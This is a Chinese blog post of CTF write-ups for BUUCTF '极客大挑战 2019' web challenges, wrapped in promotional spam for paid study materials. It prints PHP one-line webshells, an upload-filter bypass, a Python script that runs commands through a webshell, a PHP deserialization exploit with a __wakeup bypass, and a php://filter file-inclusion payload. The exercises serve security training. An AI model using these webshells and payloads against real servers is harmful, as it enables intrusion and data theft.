先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
这时注意到,Cookie有个扎眼的user=0,改成1试试:
ok,可以看到提示变了,他说我们前两项都对了,但是必须付钱,那我们再机灵点,直接post money好了,改成他想要的:
password=404x&&money=100000000
放包以后看一下结果:
结果又过长了,我给改短也试了试,他说你钱不够,嘲讽你是loser~
这就难办了,加也不是,减也不是,很束手无措,估计这题难点就在这里了,我尝试找了下版本号:
5.3.3版本下我记得可以用函数strcmp()对数字进行绕过,那就改造一下:
password=404x&&money[]=1000
Get!!!!!!!!!!拿下!!!!!!!
flag{b97e8597-44d5-4127-809e-c6aa087564b4}
[极客大挑战 2019]Havefun
打开去撸猫:
撸了十分钟才想起要做题嗯~ o(* ̄▽ ̄*)o…,那就打开下F12:
有个源码提示:
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
这样话直接get吧,cat=dog也没别的做的了=.=
直接拿了,撸猫撸的很开心!)╭ ( ̄︶ ̄)ψ
flag{21ffc3d1-4900-4c00-a8d8-dd2c32d7e6a4}
[极客大挑战 2019]Knife
基础方法:
打开环境给了个一句话木马,说实话有点懵逼O.O!
那就直接蚁剑链接一下试试吧:
直接连接成功了?O.O
那直接打指令找一下吧:
cat /flag
出了,写到这里我总感觉那里不对,不应该这么简单,就琢磨了下,但是没想到好办法,这时候看到了两篇博客,是两位佬的其他思路:士别三日wyx和Senimo_的这里我会讲解我理解下的内容,如果有兴趣的师傅建议去原文看一下,其中我真的很喜欢士别三日博客的一句话,真的建议每一位Ctfer记住!
进阶方法一(@士别三日wyx):
首先回到这个初始界面
我们看到一句话木马,一句话木马本身是利用代码执行的函数进行运行,说的简单点就是你的post请求传入eval()中,那也就是说,我们可以修改Post请求的参数来执行代码!
打开hackbar执行:
Syc=phpinfo();
可以直接进入展示PHP信息界面:
这里很多人有疑问了,为什么要进入这里呢,因为在这个phpinfo界面下是无任何过滤的,这也是为什么,大多数网站的题目都要禁止或者加密不让访问这个界面,接下来进入下一步:
我们使用var_dump()+scandir()
查看一下根目录:
Syc=var_dump(scandir('/'));
执行完以后看似没啥变化,这只是因为背景颜色遮挡了修改,ctrl+u进入源码界面:
可以看到flag文件夹了,ctf有一个不成文的规矩就是要么不出flag字符,要么出现flag就在这里边!
那就访问下就好,使用vay_dump+file_get_contents()
查看文件就还好了:
Syc=var_dump(file_get_contents('/flag'));
这个时候在打开ctrl+u就得到了flag:
说实话,这个方法并不是什么很新奇或者很出乎意料的东西,但是贵就贵在守住了最原始的破解方式,让现在很多ctfer从只依赖脚本不去看基础知识的思维里跳出来,很难能可贵,借用大佬的话就是:
喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全。
进阶方法二(@Senimo_):
方法三、进阶方法二是使用脚本(当然是自己手搓的):一句话木马的原理刚才说过了,这里不再提,尝试用python连接一下可以这么理解:
连接一句木马并使用**SHELL**
,需要将一句话木马作为**POST**
传值的参数,将**PHP**
语句作为值传入,并通过**PHP**
语句执行**SHELL**
命令。
我们剖析一下菜刀的原理,先看下菜刀发送的数据包:
op=@eval(base64_decode($_POST[attack]));&attack=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
op=@eval(base64_decode($_POST[attack]));为正常的一句话木马,其通过POST方式传参,参数名为attack
base64_decode()函数解码了传入的值
因为对传入的值进行BASE64编码可以有效的防止特殊字符传输失败的异常。
把值进行BASE64解码,得到:
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; print("hello PHP!");; echo("|<-"); die();
首先进行测试:
可以得到预设的回显,这样的话就直接搬运脚本:
# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp06:BUUCTF [极客大挑战 2019] Knife
import requests
import re
class Knife:
def __init__(self, url_input):
self.payload_data = {"Syc": "exec('cat /flag',$out);print_r($out);die();"}
self.status_code = 1 # 链接状态:0:无效,1:连通
self.url = url_input.strip()
self.flag = ''
def url_test(self):
# 可以重复输错10次链接
for i in range(9):
try:
# 对输入的url做判断
if self.url.endswith('/index.php') or self.url.endswith('buuoj.cn/') or self.url.endswith('buuoj.cn'):
# 尝试访问链接是否为200
requests.get(self.url)
print('测试状态: 200 ' + self.url)
except:
print('无效链接!请重新输入!')
self.url = input('请输入题目链接:')
self.status_code = 0
else:
self.status_code = 1
break
if self.status_code == 0:
print('无效链接!退出程序!')
return
def num_test(self):
# 设置获取flag只能重复30次
for i in range(30):
try:
r = requests.post(self.url, data=self.payload_data)
# 匹配buuctf平台flag格式
self.flag = re.search(r'flag\{.+\}', r.text).group()
except:
print('第 ' + str(i+1) + ' 次未获取到flag! 正在重试!')
else:
break
def run(self):
self.url_test() # 连接测试
self.num_test() # flag获取
if self.flag == '':
print('已尝试30次!未获取到flag! 退出程序!')
return self.flag
if __name__ == '__main__':
print('ctf_exp0: BUUCTF [极客大挑战 2019] Knife')
url_input = input('请输入题目链接:')
print(Knife(url_input).run())
input() # 防止退出cmd
运行同样得到flag:
flag{732832c3-cca5-4852-803d-3cf15e43f364}
作者随笔:
这道简单的题目之所以要花这么长篇幅去写,更多是因为做题的时候看到
了那段大佬写的话,认为在学ctf的时候更多要知道自己是为什么才进入了
这个领域,赚一些什么固然很重要但是初心不忘更加难能可贵,想起来以
前看奥特曼的一句话:热忱之心不可变,不能走着走着忘了为什么才开
始。。。。
[极客大挑战 2019]PHP
打开环境以后发现又可以逗猫,就偷偷玩了一小会儿。。。。好了!进入正题!
题目中明显说有备份文件,那就盲猜www.zip:
ok,有东西,如果实在猜不到就dirseach扫描一下好了,打开源码包:
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
index.js
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
index.php
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
style.css
@import url(https://fonts.googleapis.com/css?family=Open+Sans:800);
#world{
position: absolute;
width:100%;
height: 100%;
background-color: #6ecccc;
overflow:hidden;
}
#credits{
position:absolute;
width:100%;
margin: auto;
bottom:0;
margin-bottom:20px;
font-family:'Open Sans', sans-serif;
color:#328685;
font-size:0.7em;
text-transform: uppercase;
text-align : center;
}
#credits a {
color:#328685;
}
#credits a:hover {
color:#630d15;
}
审计完构造出链子:
EXP:
<?php
class Name{
private $username = 'admine';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
执行出来后得到:
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
当然当然,众所周知,有个__wakeup
永远没法安生,把2改成3。
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
hackbar输入以后得到flag:
flag{75405f3e-bc9f-4d56-ac1a-a5157f22d9c4}
[极客大挑战 2019]Secret File
打开环境以后看到了不得了的东西呢=.=
打开F12看一下源码发现/Archive_room.php
直接访问!
接下来点开以后直接进入了/end.php
中
这就让我很奇怪了,为什么什么都没,又翻了下源码发现有个/action.php
跳转一下试一试
怎么又跳回去了?我确实没看清。。。。。
这样的话我明白逻辑了:/Archive_room.php
→/action.php
→/end.php
只不过中间的过程跳转时间很快,那这样的话就做一下bp好了,打开bp:
这个界面跳转一下,然后抓到了这样的包:
发出去以后发现了这个界面,有/secr3t.php
访问进去:
GET /secr3t.php HTTP/1.1
看到了有php代码,源码放下边:
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
其实就是构造一个伪协议:
Payload:
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
出来了base64密码,解码就好了:
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MmVmOWMwM2MtZjJhMC00NDZiLWEzM2YtOTFhNTllZWViOWRifSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
这里送师傅们个拙作,py的base64本地解码手搓代码:
import base64
def base64_decoder(encoded_string):
try:
decoded_bytes = base64.b64decode(encoded_string)
decoded_string = decoded_bytes.decode('utf-8')
return decoded_string
except Exception as e:
return f"解码失败: {e}"
# 示例用法
encoded_string = "" # 这是的Base64编码
decoded_string = base64_decoder(encoded_string)
print(decoded_string)
可以本地跑,省赛有时候用的是专用ip,不让查的=.=
[极客大挑战 2019]Upload
映入眼帘文件上传,行吧,先随便传点什么:
ok,经典图片上传,先把bp打开,肯定用得到,先手搓一个一句话木马:
<?php @eval($_POST['attack']);?>
oh,有检索过滤,那就难办了,我不会,完结撒。。。。。花个棒子,可以解决,先随便上传一个文件,抓包抓住,挨个试:
php过滤了
php3过滤了
不一个一个试了,最后实验到了phtml
因为我文件里没写内容,但是呢他的回显不一样了呢,那就用gif绕过好了:
GIF89a? <script language="php">eval($_REQUEST[1])</script>
(补充一下绕过后缀的有文件格式有phtml,pht,php,php3,php4,php5)
氢氢又怂怂(u‿ฺu✿),好了检查get头是什么直接蚁剑连接:
url:http://f9e62125-dcd4-4eef-8575-1337cfed47a9.node5.buuoj.cn:81/upload/1.phtml
passwd:1
欧克,连接就好了终端cat /flag
:
cat /flag
得到flag:
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
cfed47a9.node5.buuoj.cn:81/upload/1.phtml
passwd:1
![](https://i-blog.csdnimg.cn/blog_migrate/aedadfcdfe112d214de9d2f2c231c67a.png)
欧克,连接就好了终端`cat /flag`:
cat /flag
得到flag:
![](https://i-blog.csdnimg.cn/blog_migrate/1cc35aa9f7b9cbb923e2c13b3ef6cd69.png)
### 给大家的福利
**零基础入门**
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
![](https://i-blog.csdnimg.cn/blog_migrate/adf0897b07ab2276161763a94ef2b8b3.png)
同时每个成长路线对应的板块都有配套的视频提供:
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/3e4801501d80f6bd4fea8230337015a9.png)
因篇幅有限,仅展示部分资料
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
[外链图片转存中...(img-OXRduUYg-1713367187412)]
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**